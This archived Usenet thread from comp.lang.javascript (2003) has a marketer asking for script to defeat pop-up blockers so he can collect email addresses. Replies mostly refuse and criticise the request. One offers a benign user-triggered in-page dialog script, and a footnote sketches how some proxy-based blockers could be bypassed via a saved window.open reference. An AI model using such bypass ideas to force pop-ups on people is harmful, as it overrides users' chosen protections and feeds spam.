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Defeating pop-up stoppers please?

P: n/a
Hello Programmers,
I am looking for either Java Script (OR HTML etc)
to DEFEAT Pop-up Stoppers

e.g It will bring up a window that will
LOOK like a Pop-up
FEEL like a Pop-up
Allow a name and e-mail entry
BUT is not affected by Popup Stopper, PopUp Killer etc

Bill
Jul 20 '05 #1
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53 Replies


P: n/a
Bill wrote on 11 nov 2003 in comp.lang.javascript:
Hello Programmers,
I am looking for either Java Script (OR HTML etc)
to DEFEAT Pop-up Stoppers

e.g It will bring up a window that will
LOOK like a Pop-up
FEEL like a Pop-up
Allow a name and e-mail entry
BUT is not affected by Popup Stopper, PopUp Killer etc


<script>
a="please enter your name and email-address here:"
b="Yes here"
c=window.prompt(a,b)
</script>

Anything more I will keep secret from you,
because forcing the client is not a nice thing to do.
--
Evertjan.
The Netherlands.
(Please change the x'es to dots in my emailaddress)
Jul 20 '05 #2

P: n/a
Evertjam,
Often, popups are disabled AGAINST the will of surfers without them knowing
it!
Popups, used wisely and NOT misused can be a blessing.
Thank you for your post.
Bill
"Evertjan." <ex**************@interxnl.net> wrote in message
news:Xn********************@194.109.133.29...
Bill wrote on 11 nov 2003 in comp.lang.javascript:
Hello Programmers,
I am looking for either Java Script (OR HTML etc)
to DEFEAT Pop-up Stoppers

e.g It will bring up a window that will
LOOK like a Pop-up
FEEL like a Pop-up
Allow a name and e-mail entry
BUT is not affected by Popup Stopper, PopUp Killer etc


<script>
a="please enter your name and email-address here:"
b="Yes here"
c=window.prompt(a,b)
</script>

Anything more I will keep secret from you,
because forcing the client is not a nice thing to do.
--
Evertjan.
The Netherlands.
(Please change the x'es to dots in my emailaddress)

Jul 20 '05 #3

P: n/a
Bill hu kiteb:
Evertjam,
Often, popups are disabled AGAINST the will of surfers without them
knowing it!
Popups, used wisely and NOT misused can be a blessing.
Thank you for your post.
Bill


Can you give a single example of a person not associated with you or
your clients who has made a genuine complaint about having a popup
window blocked on a site he has visited?

I await your silence :)
--
--
Fabian
Visit my website often and for long periods!
http://www.lajzar.co.uk

Jul 20 '05 #4

P: n/a
"Bill" <bi*********@yahoo.com.au> wrote in message
news:bo**********@news4.jaring.my...
Hello Programmers,
I am looking for either Java Script (OR HTML etc)
to DEFEAT Pop-up Stoppers
I imagine that all of the people who think that barraging their site
visitors with unwanted pop-up windows is a good idea are also looking
for a something that would reliably defeat pop-up stoppers. Fortunately
they are not going to find it. The pop-up blokers use such diverse
techniques that no general approach will be found and the few pop-up
blockers that could be subverted [1] by specific actions on the part of
page script authors would be trivial to update so that they became
invulnerable.

Even if page authors started to actively try to defeat the less robust
pop-up blocking techniques that would just motivate the pop-up blocker
authors to tighten up their code, and if that lead to an arms race the
pop-up blocker running on the client computer would always be in a
position to bring bigger guns to bare and so ultimately win. It is
probably best to accept that the pop-up window is no longer a viable
option in internet scripting (if it ever was).
e.g It will bring up a window that will
LOOK like a Pop-up
What will a pop-up look like, given user configurable settings for most
aspects of the appearance of windows, multiple operating systems most of
which will allow the use of multiple distinct GUIs? Short of opening a
real GUI window (which is what the pop-up blockers will not allow), a
rectangular region with a border, close button, title bar and a block of
contents would probably be sufficient to tip the user off that they
should be expecting window like behaviour.
FEEL like a Pop-up
That's flat and glassy on my monitor ;-) But I imagine you mean the
ability to position it by dragging the title bar, size by dragging the
corners/borders, etc. I don't expect you actually want menu bars, status
bars, toolbars, etc.
Allow a name and e-mail entry
That doesn't sound like a task for a new window at all, it sounds like a
dialog and a modal dialog at that.
BUT is not affected by Popup Stopper, PopUp Killer etc


The pop-up stoppers mean that you cannot go outside of the current
window reliably (but then not all browsers can open new windows anyway
so in reality you never could), so the "in window pop-up" becomes the
nearest practical option. A section of the HTML (usually a DIV element
and its contents) is scripted to behave like a window or dialog.
Appearing as if it was a pop-up when needed to allow interaction with
its contents and dismissed upon completion (or via the use of a "close"
button).

Such an "in window pop-up" can be scripted on all of the dynamic
browsers from the version 4 era onwards with the most modern browsers
allowing considerable flexibility in the contents, though that does not
sound like a requirement if the window is only going to show a two text
field form with a button or two. The extent to which the DIV could
reproduce window like behaviour is largely up to the script author, but
for something acting like a modal dialog positioning it in the middle of
the viewport and providing a mechanism for dismissing it would probably
be all that was required.

Unfortunately, in window pop-ups are not without some problems;
accessibility is certainly one issue because screen readers may not be
in a position to reasonably handle a section of an HTML page suddenly
becoming visible in the middle of the window. But pop-up windows suffer
similar problems anyway and because the contents of the in window pop-up
can be defined in the HTML and only removed from the normal flow by the
script, the script has the option of leaving the information available
as a normal part of the page under some circumstances. Which means that
it could, for example, check to see if the page URL included a query
string with a value that would tell it to leave the DIV in the HTML,
allowing the page to provide a link that would re-load it appending the
query string value and thus disabling the dynamic aspects of the page.
And that also provides a path of clean degradation for viewers who have
scripting disabled/incapable browsers (maybe including text browsers) as
they get the GUI in the normal HTML by default.

Richard.

[1] Some pop-up blockers based around content inserting/rewriting
proxies save a copy of the original window.open function as a global
variable prior to replacing that function with their own version. If the
name of the global variable that held the reference to the original
window.open function could be determined then the function could be
called directly. However, If I was writing content inserting proxy code
for this task I would have the reference to the original window.open
function held in a closure with the replacement window.open function,
leaving that the only function with access to the original.
Jul 20 '05 #5

P: n/a
Bill hu kiteb:
Hello Programmers,
I am looking for either Java Script (OR HTML etc)
to DEFEAT Pop-up Stoppers


I have the most effective popup blocker of all, one that bno software
can stop.

Any time a window opens that I did not manually popen, I have alt-f4 as
a subconscious reflex action. I cant help it.
--
--
Fabian
Visit my website often and for long periods!
http://www.lajzar.co.uk

Jul 20 '05 #6

P: n/a
Evertjan,
Thank you kindly.
I will agree that forcing is not nice.

Unfortunately, some toolbars stop pop-ups by default.
I'm looking for a way that gives people a CHOICE if they want a freebie or
not.

I'm not a java programmer - in fact I barely know HTML.
I'm wondering if playing with menu script is viable.

Thank you for your help.

Bill

"Evertjan." <ex**************@interxnl.net> wrote in message
news:Xn********************@194.109.133.29...
Bill wrote on 11 nov 2003 in comp.lang.javascript:
Hello Programmers,
I am looking for either Java Script (OR HTML etc)
to DEFEAT Pop-up Stoppers

e.g It will bring up a window that will
LOOK like a Pop-up
FEEL like a Pop-up
Allow a name and e-mail entry
BUT is not affected by Popup Stopper, PopUp Killer etc


<script>
a="please enter your name and email-address here:"
b="Yes here"
c=window.prompt(a,b)
</script>

Anything more I will keep secret from you,
because forcing the client is not a nice thing to do.
--
Evertjan.
The Netherlands.
(Please change the x'es to dots in my emailaddress)

Jul 20 '05 #7

P: n/a
Fabian,
A single example? No, but as I understand it with my limited knowledge,
there are toolbars etc that stop popups by default. That is, people miss
out on freebies and have no idea that they have missed out.

I'll agree that FORCING popups is in bad spirit (and also bad marketing.)
I'm looking for a way that gives people the CHOICE without having to go
through the process of unblocking a pop-up stopper.

The usual offer is genuine freebie in exchange for e-mail address and other
offers. Ethically, I would ALWAYS say that it is in exchange for receiving
other offers too - it also must include an unsubscibe address.

I'm wondering if something can be done with a js menu.
Then they have the CHOICE of reading about the freebie or not.

Bill
PS - I'm NOT into sex nor casinos nor 'get rich quick schemes'- rather
PROVEN ethical business opportunities that take good honest hard work and
many hours at the computer to make a decent living. I don't hide the fact
that it requires WORK. I hope that clarifies a few things.

"Fabian" <la****@hotmail.com> wrote in message
news:bo*************@ID-174912.news.uni-berlin.de...
Bill hu kiteb:
Evertjam,
Often, popups are disabled AGAINST the will of surfers without them
knowing it!
Popups, used wisely and NOT misused can be a blessing.
Thank you for your post.
Bill


Can you give a single example of a person not associated with you or
your clients who has made a genuine complaint about having a popup
window blocked on a site he has visited?

I await your silence :)
--
--
Fabian
Visit my website often and for long periods!
http://www.lajzar.co.uk

Jul 20 '05 #8

P: n/a
Richard,
Thank you for your time and thoughtful reply.
You can probaly see from my other posts that I expressed things badly.
I'm REALLY looking to give peopole a CHOICE whether they read about a
freebie or not.
Thanks again for your time.
Bill
"Richard Cornford" <Ri*****@litotes.demon.co.uk> wrote in message
news:bo*******************@news.demon.co.uk...
"Bill" <bi*********@yahoo.com.au> wrote in message
news:bo**********@news4.jaring.my...
Hello Programmers,
I am looking for either Java Script (OR HTML etc)
to DEFEAT Pop-up Stoppers


I imagine that all of the people who think that barraging their site
visitors with unwanted pop-up windows is a good idea are also looking
for a something that would reliably defeat pop-up stoppers. Fortunately
they are not going to find it. The pop-up blokers use such diverse
techniques that no general approach will be found and the few pop-up
blockers that could be subverted [1] by specific actions on the part of
page script authors would be trivial to update so that they became
invulnerable.

Even if page authors started to actively try to defeat the less robust
pop-up blocking techniques that would just motivate the pop-up blocker
authors to tighten up their code, and if that lead to an arms race the
pop-up blocker running on the client computer would always be in a
position to bring bigger guns to bare and so ultimately win. It is
probably best to accept that the pop-up window is no longer a viable
option in internet scripting (if it ever was).
e.g It will bring up a window that will
LOOK like a Pop-up


What will a pop-up look like, given user configurable settings for most
aspects of the appearance of windows, multiple operating systems most of
which will allow the use of multiple distinct GUIs? Short of opening a
real GUI window (which is what the pop-up blockers will not allow), a
rectangular region with a border, close button, title bar and a block of
contents would probably be sufficient to tip the user off that they
should be expecting window like behaviour.
FEEL like a Pop-up


That's flat and glassy on my monitor ;-) But I imagine you mean the
ability to position it by dragging the title bar, size by dragging the
corners/borders, etc. I don't expect you actually want menu bars, status
bars, toolbars, etc.
Allow a name and e-mail entry


That doesn't sound like a task for a new window at all, it sounds like a
dialog and a modal dialog at that.
BUT is not affected by Popup Stopper, PopUp Killer etc


The pop-up stoppers mean that you cannot go outside of the current
window reliably (but then not all browsers can open new windows anyway
so in reality you never could), so the "in window pop-up" becomes the
nearest practical option. A section of the HTML (usually a DIV element
and its contents) is scripted to behave like a window or dialog.
Appearing as if it was a pop-up when needed to allow interaction with
its contents and dismissed upon completion (or via the use of a "close"
button).

Such an "in window pop-up" can be scripted on all of the dynamic
browsers from the version 4 era onwards with the most modern browsers
allowing considerable flexibility in the contents, though that does not
sound like a requirement if the window is only going to show a two text
field form with a button or two. The extent to which the DIV could
reproduce window like behaviour is largely up to the script author, but
for something acting like a modal dialog positioning it in the middle of
the viewport and providing a mechanism for dismissing it would probably
be all that was required.

Unfortunately, in window pop-ups are not without some problems;
accessibility is certainly one issue because screen readers may not be
in a position to reasonably handle a section of an HTML page suddenly
becoming visible in the middle of the window. But pop-up windows suffer
similar problems anyway and because the contents of the in window pop-up
can be defined in the HTML and only removed from the normal flow by the
script, the script has the option of leaving the information available
as a normal part of the page under some circumstances. Which means that
it could, for example, check to see if the page URL included a query
string with a value that would tell it to leave the DIV in the HTML,
allowing the page to provide a link that would re-load it appending the
query string value and thus disabling the dynamic aspects of the page.
And that also provides a path of clean degradation for viewers who have
scripting disabled/incapable browsers (maybe including text browsers) as
they get the GUI in the normal HTML by default.

Richard.

[1] Some pop-up blockers based around content inserting/rewriting
proxies save a copy of the original window.open function as a global
variable prior to replacing that function with their own version. If the
name of the global variable that held the reference to the original
window.open function could be determined then the function could be
called directly. However, If I was writing content inserting proxy code
for this task I would have the reference to the original window.open
function held in a closure with the replacement window.open function,
leaving that the only function with access to the original.

Jul 20 '05 #9

P: n/a
Clever! I like it!
I actually don't like FORCED popups myself.
That is why I'm looking to give people a choice.
"people" may inlude those that have (say) Google toolbar but don't have the
computer literacy to allow popups if there's something in it for them.
Bill
"Fabian" <la****@hotmail.com> wrote in message
news:bo*************@ID-174912.news.uni-berlin.de...
Bill hu kiteb:
Hello Programmers,
I am looking for either Java Script (OR HTML etc)
to DEFEAT Pop-up Stoppers


I have the most effective popup blocker of all, one that bno software
can stop.

Any time a window opens that I did not manually popen, I have alt-f4 as
a subconscious reflex action. I cant help it.
--
--
Fabian
Visit my website often and for long periods!
http://www.lajzar.co.uk

Jul 20 '05 #10

P: n/a
"Bill" <bi*********@yahoo.com.au> wrote in message
news:bo**********@news4.jaring.my...
<snip>
... so the "in window pop-up" becomes the
nearest practical option. ...
<snip>You can probaly see from my other posts that I expressed
things badly. I'm REALLY looking to give peopole a CHOICE
whether they read about a freebie or not.

<snip>

I may as well provide you with an example of what I was talking about.
The following script still needs a bit of work but is mostly working and
demonstrates the principals.

<html>
<head>
<meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">
<title></title>
<style type="text/css">
#dialogDiv {
border: 2px solid #007686;
background-color:#44CCDD;
color:#FFFFFF;
width:35ex;
padding:0px;
}
#dialogDiv DIV {
background-color:#44CCDD;
color:#FFFFFF;
width:100%;
padding:0px;
margin:0px;
}
#dialogDiv FORM {
padding:0.2em 0.5em 0px 0.5em;
margin:0;
}
#dialogDiv INPUT {
padding:0.1em;
margin:0.2em;
}
#dialogBar {
text-align:right;
padding:0.1em;
margin:0;
}
#dialogBar A {
color:#FFFFFF;
background-color:#44CCDD;
text-decoration:none;
font-style:bold;
}
</style>
<script type="text/javascript">
var queryStrings = (function(out){
if(typeof location != 'undefined'){
var temp = location.search||location.href||'';
var ofSet;
if((ofSet = temp.indexOf('?')) > -1){
temp = temp.substring((ofSet+1), temp.length);
var workAr = temp.split('&');
for(var nvp,c = workAr.length;c--;){
nvp = workAr[c].split('=');
if(nvp.length > 1){
out[nvp[0]] = nvp[1];
}
}
}
}
return out;
})({}); //inline function expression call passed an object
// literal - {} - as its parameter (out).
var TimedQue = function(){
var base, timer;
var interval = 40;
var newFncs = null;
function addFnc(next, f){
function t(){
next = next&&next();
if(f()){
return t;
}else{
f = null;
return next;
}
};
t.addItem = function(d){
if(next){
next.addItem(d);
}else{
next = d;
}
return this;
};
t.finalize = function(){
return ((next)&&(next = next.finalize())||(f = null));
};
return t;
};
function tmQue(fc){
if(newFncs){
newFncs = newFncs.addItem(addFnc(null, fc));
}else{
newFncs = addFnc(null, fc);
}
if(!timer){
timer = setTimeout(tmQue.act, interval);
}
};
tmQue.act = function(){
var fn = newFncs, strt = new Date().getTime();
if(fn){
newFncs = null;
if(base){
base.addItem(fn);
}else{
base = fn;
}
}
base = base&&base();
if(base){
var t = interval - (new Date().getTime() - strt);
timer = setTimeout(tmQue.act, ((t > 0)?t:1));
}else{
timer = null;
};
};
tmQue.act.toString = function(){
return 'TimedQue.act()';
};
tmQue.finalize = function(){
timer = timer&&clearTimeout(timer);
base = base&&base.finalize();
newFncs = [];
};
return tmQue;
}();

var dialogBox = (function(){
var global = this;
var diOuterDiv, diOuterDivStyle;
var posMod, targetWidth, targetHeight;
var windowState, pageState, isOpen = false,active = false;
function compatModeTest(obj){
if((document.compatMode)&&
(document.compatMode == 'CSS1Compat')&&
(document.documentElement)){
return document.documentElement;
}else if(document.body){
return document.body;
}else{
return obj;
}
};
function getWindowState(){
var readScroll = {scrollLeft:0,scrollTop:0};
var readSize = {clientWidth:0,clientHeight:0};
var readScrollX = 'scrollLeft';
var readScrollY = 'scrollTop';
var readWidth = 'clientWidth';
var readHeight = 'clientHeight';
if((typeof global.innerHeight == 'number')&&
(typeof global.innerWidth == 'number')){
readSize = global;
readWidth = 'innerWidth';
readHeight = 'innerHeight';
}else{
readSize = compatModeTest(readSize);
}
if((typeof global.pageYOffset == 'number')&&
(typeof global.pageXOffset == 'number')){
readScroll = global;
readScrollY = 'pageYOffset';
readScrollX = 'pageXOffset';
}else{
readScroll = compatModeTest(readScroll);
}
return {
getScrollX:function(){
return readScroll[readScrollX];
},
getScrollY:function(){
return readScroll[readScrollY];
},
getWidth:function(){
return readSize[readWidth];
},
getHeight:function(){
return readSize[readHeight];
}
};
}
function getPageState(){
var readPageSize = {scrollWidth:0,scrollHeight:0};
var readPageWidth = 'scrollWidth';
var readPageHeight = 'scrollHeight';
if((typeof document.width == 'number')&&
(typeof document.height == 'number')){
readPageSize = document;
readPageWidth = 'width';
readPageHeight = 'height';
}else{
readPageSize = compatModeTest(readPageSize);
if((!readPageSize[readPageWidth])&&
(!readPageSize[readPageHeight])){
if(readPageSize.offsetHeight){
readPageWidth = 'offsetWidth';
readPageHeight = 'offsetHeight';
}
}
}
return {
getPageWidth:function(){
return readPageSize[readPageWidth]||0;
},
getPageHeight:function(){
return readPageSize[readPageHeight]||0;
}
};
};
function retTrue(){return true;}
function getEl(iD){
var obj;
if(document.getElementById){
obj = document.getElementById(iD);
}else if(document.all){
obj = document.all[iD];
}else if(document.layers){
obj = document.layers[iD];
}
return obj;
}
function getDimensions(div){
var obj = {};
if(div.document&&(typeof div.document.width == 'number')){
obj.width = div.document.width;
obj.height = div.document.height;
}else{
obj.width = div.offsetWidth||div.scrollWidth||0;
obj.height = div.offsetHeight||div.scrollHeight||0;
}
return obj;
}
function init(){
pageState = getPageState();
windowState = getWindowState();
diOuterDiv = getEl("dialogDiv");
diOuterDivStyle = (diOuterDiv && diOuterDiv.style)||diOuterDiv;
if((diOuterDiv)&&(diOuterDivStyle)&&
(typeof diOuterDivStyle != 'boolean')){
diOuterDivStyle.position = 'absolute';
diOuterDivStyle.visibility = 'hidden';
posMod = ((typeof diOuterDivStyle.top == 'string')?'px':0);
}else{
init.showDialog = retTrue;
init.closeDialog = retTrue;
}
}
function closeDiv(){
isOpen = false;
diOuterDivStyle.visibility = "hidden";
return false;
}
function setPos(){
if(isOpen){
var availWidth = windowState.getWidth();
var availHeight = windowState.getHeight();
var pageWidth = pageState.getPageWidth();
var pageHeight = pageState.getPageHeight();
var scrollTop = windowState.getScrollY();
if(pageWidth < availWidth)pageWidth = availWidth;
if(pageHeight < availHeight)pageHeight = availHeight;
var topOffset = (windowState.getScrollY()+
((availHeight > targetHeight)?
((availHeight - targetHeight)>>1):0));
var leftOffset = (windowState.getScrollX()+
((availWidth > targetWidth)?
((availWidth - targetWidth)>>1):0));
if((leftOffset+targetWidth) > pageWidth){
leftOffset = pageWidth - targetWidth;
if(leftOffset < 0)leftOffset = 0;
}
if((topOffset+targetHeight) > pageHeight){
topOffset = pageHeight - targetHeight;
if(topOffset < 0)topOffset = 0;
}
diOuterDivStyle.top = topOffset + posMod;
diOuterDivStyle.left = leftOffset + posMod;
}else{
active = false;
}
return isOpen;
}
function showDialog(lnkEl, wd ,ht, altText){
closeDiv();
isOpen = true;
var dimensions = getDimensions(diOuterDiv);
targetWidth = dimensions.width;
targetHeight = dimensions.height;
setPos();
if(!active){
TimedQue(setPos);
active = true;
}
diOuterDivStyle.visibility = "visible"
return false;
}
init.closeButton = function(x){
x.document.write('<a href="#" onclick="return window.',
'dialogBox.closeDialog();">X<\/a>');
}
init.closeDialog = closeDiv;
init.showDialog = showDialog;
if((global.queryStrings&&!queryStrings['noDynamic'])&&
(document.getElementById||document.all||
((document.layers)&&(typeof Layer == 'function')))){
if(document.layers){
document.write('<style type="text/css">#dialogDiv',
' {position:absolute;}<\/style>');
}
return init;
}else{
retTrue.closeButton = retTrue;
retTrue.showDialog = retTrue;
return retTrue;
}
})();
</script>
</head>
<body onload="if(typeof dialogBox == 'function')dialogBox();">
<script type="text/javascript">
var hf = (typeof location != 'undefined')?location.href:'';
hf = hf.substring(0, ((hf.lastIndexOf('?') >= 0)?
hf.lastIndexOf('?'):hf.length));
document.write('<a href="'+hf+'?noDynamic=true">View this',
' page without scripted content.</a><br>');
</script>
<a href="#eMailName"
onclick="return (typeof dialogBox == 'function')?
dialogBox.showDialog():true;">enter eMail details</a><br>
<br>nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn< br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn<br>
<div id="dialogDiv">
<div id="dialogBar"><script
type="text/javascript">if((window.dialogBox)&&
(window.dialogBox.closeButton)){
window.dialogBox.closeButton(this);}</script></div>
<div>
<form name="eMailForm" action="">
<a name="eMailName">Name:</a><br>
<input type="text" value="" size="30" name="eName"><br>
E-Mail Address:<br>
<input type="text" value="" size="30" name="eAddress"><br>
<input type="submit" value="send">
</form>
</div>
</div>
</body>
</html>

Richard.
Jul 20 '05 #11

P: n/a

"Richard Cornford" <Ri*****@litotes.demon.co.uk> wrote in message
news:bosoqi$u9$1>
I may as well provide you with an example of what I was talking about.
The following script still needs a bit of work but is mostly working and
demonstrates the principals.


Richard,
Thank you so very kindly.
That's exactly what I was looking for.
Something that gives the reader a CHOICE, but if they don't want to eat it,
they can leave it on the side of their plate!!
Bill
Jul 20 '05 #12

P: n/a
"Bill" <bi*********@yahoo.com.au> writes:
Clever! I like it!
I actually don't like FORCED popups myself.
That is why I'm looking to give people a choice.
"people" may inlude those that have (say) Google toolbar but don't have the
computer literacy to allow popups if there's something in it for them.


There is boviously no way to bypass the blocking by a page, otherwise
it would quickly be fixed. All you can do is to educate the user.
Do some tests when you try to open a page, and if it appears to fail,
give them the option to go to a page where you explain how to configure the
most popular popup blockers.

/L
--
Lasse Reichstein Nielsen - lr*@hotpop.com
DHTML Death Colors: <URL:http://www.infimum.dk/HTML/rasterTriangleDOM.html>
'Faith without judgement merely degrades the spirit divine.'
Jul 20 '05 #13

P: n/a
Bill hu kiteb:
Richard,
Thank you for your time and thoughtful reply.
You can probaly see from my other posts that I expressed things badly.
I'm REALLY looking to give peopole a CHOICE whether they read about a
freebie or not.
Thanks again for your time.
Bill


Have you considered putting it in the main body of the web page?
--
--
Fabian
Visit my website often and for long periods!
http://www.lajzar.co.uk

Jul 20 '05 #14

P: n/a
Bill hu kiteb:
Fabian,
A single example? No, but as I understand it with my limited
knowledge, there are toolbars etc that stop popups by default. That
is, people miss out on freebies and have no idea that they have
missed out.

I'll agree that FORCING popups is in bad spirit (and also bad
marketing.) I'm looking for a way that gives people the CHOICE
without having to go through the process of unblocking a pop-up
stopper.
Correct me if I am wrong, but surely a script that puts up a popup
regardless of whether a popup blocker is present *is* forcing the issue?
Or are you proposing that the script will put up a popup asking the user
if he wants to receive a popup? I am genuinely confused here.

The usual offer is genuine freebie in exchange for e-mail address and
other offers. Ethically, I would ALWAYS say that it is in exchange
for receiving other offers too - it also must include an unsubscibe
address.
This cynic is a firm believer in the idea that anyone who would *force*
me to read a popup, or force me to view a popup asking me if I want to
read a popup, would have no qualms about selling my email address. No
thanks.
I'm wondering if something can be done with a js menu.
Then they have the CHOICE of reading about the freebie or not.
Why not just put it in the body of the main page? There is no such thing
as a non-obnoxious popup, whether you look at it as an interface issue
or a typical content issue. This solution also gives people the
opportunity to read your spam regardless of whether they have a popup
blocker, and is non-obnoxious from an interface viewpoint, although I
expect it would still be obnoxious for other reasons. If I wanted to
read a sales pitch, I wouldn't be on the Internet after all.
Bill
PS - I'm NOT into sex nor casinos nor 'get rich quick schemes'- rather
PROVEN ethical business opportunities that take good honest hard work
and many hours at the computer to make a decent living. I don't hide
the fact that it requires WORK. I hope that clarifies a few things.


You know, these guys also describe their pyramid schemes as proven
business opportunities. You need to improve your marketing skills to
make this sale.
Jul 20 '05 #15

P: n/a
Bill wrote on 12 nov 2003 in comp.lang.javascript:
I'm NOT into sex nor casinos nor 'get rich quick schemes'- rather
PROVEN ethical business opportunities that take good honest hard work
and many hours at the computer to make a decent living. I don't hide
the fact that it requires WORK. I hope that clarifies a few things.


It certainly does not. Asking for help to do bad things for a professed
good cause does not click in this experienced NG.

1 Why should we believe your honest intentions?

2 And even if honest, it still is a bad habit forcing people to things they
don't want with: "I know what is best for you".

If you want to get information to people having popup killers, do not use
popups. Ever heared of target="_blank" ?

If I lock my front door, I don't want you to pick my lock, whether you want
to take my money or bring me money, whether you are the above casino sexist
or the above honest worker selling ethical vacuum cleaners.

--
Evertjan.
The Netherlands.
(Please change the x'es to dots in my emailaddress)
Jul 20 '05 #16

P: n/a

"Lasse Reichstein Nielsen" <lr*@hotpop.com> wrote in message
news:n0**********@hotpop.com...
give them the option to go to a page where you explain how to configure the most popular popup blockers.


Education is always good!
Jul 20 '05 #17

P: n/a
Fox


Bill wrote:

Fabian,
A single example? No, but as I understand it with my limited knowledge,
there are toolbars etc that stop popups by default. That is, people miss
out on freebies and have no idea that they have missed out.
freebies???????? no such thing...

I get over 1400 spam emails a day (more than 1 per minute -- i've been
around a long time and have 10 domains [3 of which were previously owned
by others -- so i inherit their spam too]) because of so called "free"
offer popups that are usually just bait for email addresses. Most -- if
not all of these ploys end up making their money selling the addresses
to more and more "other" spammers and the whole thing just cascades...
believe me -- that COSTS.

to give you some idea how bad it is -- I haven't answered a popup ad in
over 3 years, and I'm getting more crap every day.

I don't care if you want to give me a f#*^&%# 100" plasma tv or a new
car... you can keep them... and your spam too. Oh yeah -- most of the
"proven" business opportunities amounts to MLM variations on stuffing
envelopes at home... tedious, mindless, repetitive "work" that doesn't
make any decent money until they can sucker other people into buying
into the same scheme (scam)...[and why spam is so out of control]

You wanna advertise honest work -- buy an ad in the yellow pages,
newspaper, radio or television. leave my browser alone.



I'll agree that FORCING popups is in bad spirit (and also bad marketing.)
I'm looking for a way that gives people the CHOICE without having to go
through the process of unblocking a pop-up stopper.
i won't tell you.

The usual offer is genuine freebie in exchange for e-mail address and other
offers. Ethically, I would ALWAYS say that it is in exchange for receiving
other offers too - it also must include an unsubscibe address.
this is bullshit -- i might not hear from you again -- but i can be damn
sure you'll sell my email address to many others.

I'm wondering if something can be done with a js menu.
Then they have the CHOICE of reading about the freebie or not.

Bill
PS - I'm NOT into sex nor casinos nor 'get rich quick schemes'- rather
PROVEN ethical business opportunities that take good honest hard work and
many hours at the computer to make a decent living. I don't hide the fact
that it requires WORK. I hope that clarifies a few things.
You used a lot of words, but you haven't said a damn thing. "ethical,"
"honest," "decent living" are nice catch words/phrases -- 0 details...
doesn't clarify anything.

GO AWAY


"Fabian" <la****@hotmail.com> wrote in message
news:bo*************@ID-174912.news.uni-berlin.de...
Bill hu kiteb:
Evertjam,
Often, popups are disabled AGAINST the will of surfers without them
knowing it!
Popups, used wisely and NOT misused can be a blessing.
Thank you for your post.
Bill


Can you give a single example of a person not associated with you or
your clients who has made a genuine complaint about having a popup
window blocked on a site he has visited?

I await your silence :)
--
--
Fabian
Visit my website often and for long periods!
http://www.lajzar.co.uk

Jul 20 '05 #18

P: n/a
"Fox" <fo*@fxmahoney.com> schrieb im Newsbeitrag
news:3F***************@fxmahoney.com...


to give you some idea how bad it is -- I haven't answered a popup ad in
over 3 years, and I'm getting more crap every day.


You publish your e-mail address at the newsgroups.

I had a yahoo mail account I only used for one special purpose and never
received a spam mail on. That changed the day I chose to use this address
for my newsgroup postings. Not many weeks later I was flooded with Microsoft
updates, Viagra offers and all that stuff. Yahoo has a great spam filter
which puts most of that crap into a bulk mail folder, but as they are not
deleted automatically before 30 days I had to give up that account, it was
almost permanently overloaded.

Spammers, and it seems even some viruses, seem to harvest addresses in
newsgroups very efficiently. So you can just disguise your address by adding
some NOSPAM or what ever characters. People who want to send you answers to
your postings will realize that when they get the error message from the
mail system and resend the message to you.

--
Markus
Jul 20 '05 #19

P: n/a
"Fabian" <la****@hotmail.com> schrieb im Newsbeitrag
news:bo*************@ID-174912.news.uni-berlin.de...
Bill hu kiteb:
Hello Programmers,
I am looking for either Java Script (OR HTML etc)
to DEFEAT Pop-up Stoppers


I have the most effective popup blocker of all, one that bno software
can stop.

Any time a window opens that I did not manually popen, I have alt-f4 as
a subconscious reflex action. I cant help it.


I love low-tech solutions :-)

Markus
Jul 20 '05 #20

P: n/a

In article <bo*************@ID-174912.news.uni-berlin.de>,
"Fabian" <la****@hotmail.com> writes:

I have the most effective popup blocker of all, one that bno software
can stop.

Any time a window opens that I did not manually popen, I have alt-f4 as
a subconscious reflex action. I cant help it.


What if the pop-up has an onunload function that pops up two more
copies of the same window? Does your reflex action include the
escape key?

Or what if you get a hidden spawner window that fires off a new
pop-up every 2 seconds? (I tried writing an antispawner javascript
but it doesn't work very reliably.)

In IE, I still think the most effective pop-up blocker is,
unfortunately, to turn off active scripting.
--

Warren S. Sarle SAS Institute Inc. The opinions expressed here
sa****@unx.sas.com SAS Campus Drive are mine and not necessarily
(919) 677-8000 Cary, NC 27513, USA those of SAS Institute.
Jul 20 '05 #21

P: n/a
Warren Sarle hu kiteb:
What if the pop-up has an onunload function that pops up two more
copies of the same window? Does your reflex action include the
escape key?
My reflex is fast enough that sooner or later I will alt-f4 before the
on unload code has a chance to load.
Or what if you get a hidden spawner window that fires off a new
pop-up every 2 seconds? (I tried writing an antispawner javascript
but it doesn't work very reliably.)


Have come across one of those that cant be hit by alt-f4. Can you show
me an example?
--
--
Fabian
Visit my website often and for long periods!
http://www.lajzar.co.uk

Jul 20 '05 #22

P: n/a
On Tue, 11 Nov 2003 18:15:18 +0800, Bill wrote:
Hello Programmers,
I am looking for either Java Script (OR HTML etc) to DEFEAT Pop-up
Stoppers

